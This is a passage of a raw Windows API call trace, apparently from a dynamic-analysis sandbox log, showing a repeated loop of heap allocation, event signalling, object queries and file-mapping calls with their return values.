(HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.473] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.473] ResetEvent (hEvent=0xdc) returned 1 [0093.473] SetEvent (hEvent=0xe0) returned 1 [0093.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.474] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.474] ResetEvent (hEvent=0xdc) returned 1 [0093.474] SetEvent (hEvent=0xe0) returned 1 [0093.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.475] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.475] ResetEvent (hEvent=0xdc) returned 1 [0093.475] SetEvent (hEvent=0xe0) returned 1 [0093.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.476] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.476] ResetEvent (hEvent=0xdc) returned 1 [0093.476] SetEvent (hEvent=0xe0) returned 1 [0093.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.477] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.477] ResetEvent (hEvent=0xdc) returned 1 [0093.477] SetEvent (hEvent=0xe0) returned 1 [0093.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.478] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.478] ResetEvent (hEvent=0xdc) returned 1 [0093.478] SetEvent (hEvent=0xe0) returned 1 [0093.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.479] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.479] ResetEvent (hEvent=0xdc) returned 1 [0093.479] SetEvent (hEvent=0xe0) returned 1 [0093.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.480] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.480] ResetEvent (hEvent=0xdc) returned 1 [0093.480] SetEvent (hEvent=0xe0) returned 1 [0093.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.481] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.481] ResetEvent (hEvent=0xdc) returned 1 [0093.481] SetEvent (hEvent=0xe0) returned 1 [0093.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.482] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.482] ResetEvent (hEvent=0xdc) returned 1 [0093.482] SetEvent (hEvent=0xe0) returned 1 [0093.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.483] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.483] ResetEvent (hEvent=0xdc) returned 1 [0093.483] SetEvent (hEvent=0xe0) returned 1 [0093.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.484] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.484] ResetEvent (hEvent=0xdc) returned 1 [0093.484] SetEvent (hEvent=0xe0) returned 1 [0093.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.485] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.485] ResetEvent (hEvent=0xdc) returned 1 [0093.485] SetEvent (hEvent=0xe0) returned 1 [0093.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.486] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.486] ResetEvent (hEvent=0xdc) returned 1 [0093.486] SetEvent (hEvent=0xe0) returned 1 [0093.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.487] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.487] ResetEvent (hEvent=0xdc) returned 1 [0093.487] SetEvent (hEvent=0xe0) returned 1 [0093.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.488] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.488] ResetEvent (hEvent=0xdc) returned 1 [0093.488] SetEvent (hEvent=0xe0) returned 1 [0093.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.489] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.489] ResetEvent (hEvent=0xdc) returned 1 [0093.489] SetEvent (hEvent=0xe0) returned 1 [0093.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.490] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.490] ResetEvent (hEvent=0xdc) returned 1 [0093.490] SetEvent (hEvent=0xe0) returned 1 [0093.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.491] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.491] ResetEvent (hEvent=0xdc) returned 1 [0093.491] SetEvent (hEvent=0xe0) returned 1 [0093.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.492] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.492] ResetEvent (hEvent=0xdc) returned 1 [0093.492] SetEvent (hEvent=0xe0) returned 1 [0093.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.493] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.493] ResetEvent (hEvent=0xdc) returned 1 [0093.493] SetEvent (hEvent=0xe0) returned 1 [0093.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.494] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.494] ResetEvent (hEvent=0xdc) returned 1 [0093.494] SetEvent (hEvent=0xe0) returned 1 [0093.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.496] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.496] ResetEvent (hEvent=0xdc) returned 1 [0093.496] SetEvent (hEvent=0xe0) returned 1 [0093.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.496] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.497] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.497] ResetEvent (hEvent=0xdc) returned 1 [0093.497] SetEvent (hEvent=0xe0) returned 1 [0093.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.497] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.498] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.498] ResetEvent (hEvent=0xdc) returned 1 [0093.498] SetEvent (hEvent=0xe0) returned 1 [0093.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.498] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.499] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.499] ResetEvent (hEvent=0xdc) returned 1 [0093.499] SetEvent (hEvent=0xe0) returned 1 [0093.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.499] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.500] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.500] ResetEvent (hEvent=0xdc) returned 1 [0093.500] SetEvent (hEvent=0xe0) returned 1 [0093.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.501] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.501] ResetEvent (hEvent=0xdc) returned 1 [0093.501] SetEvent (hEvent=0xe0) returned 1 [0093.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.502] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.502] ResetEvent (hEvent=0xdc) returned 1 [0093.502] SetEvent (hEvent=0xe0) returned 1 [0093.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.503] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.503] ResetEvent (hEvent=0xdc) returned 1 [0093.503] SetEvent (hEvent=0xe0) returned 1 [0093.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.504] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.504] ResetEvent (hEvent=0xdc) returned 1 [0093.504] SetEvent (hEvent=0xe0) returned 1 [0093.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.504] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.505] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.505] ResetEvent (hEvent=0xdc) returned 1 [0093.505] SetEvent (hEvent=0xe0) returned 1 [0093.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.506] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.506] ResetEvent (hEvent=0xdc) returned 1 [0093.506] SetEvent (hEvent=0xe0) returned 1 [0093.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.506] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.507] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.507] ResetEvent (hEvent=0xdc) returned 1 [0093.507] SetEvent (hEvent=0xe0) returned 1 [0093.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.507] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.508] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.508] ResetEvent (hEvent=0xdc) returned 1 [0093.508] SetEvent (hEvent=0xe0) returned 1 [0093.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.508] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.509] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.509] ResetEvent (hEvent=0xdc) returned 1 [0093.509] SetEvent (hEvent=0xe0) returned 1 [0093.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.509] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.510] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.510] ResetEvent (hEvent=0xdc) returned 1 [0093.510] SetEvent (hEvent=0xe0) returned 1 [0093.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.510] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.511] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.511] ResetEvent (hEvent=0xdc) returned 1 [0093.511] SetEvent (hEvent=0xe0) returned 1 [0093.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.511] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.512] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.512] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.512] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.512] ResetEvent (hEvent=0xdc) returned 1 [0093.512] SetEvent (hEvent=0xe0) returned 1 [0093.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.513] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.513] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.513] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.513] UnmapViewOfFile (lpBaseAddress=0x290000) 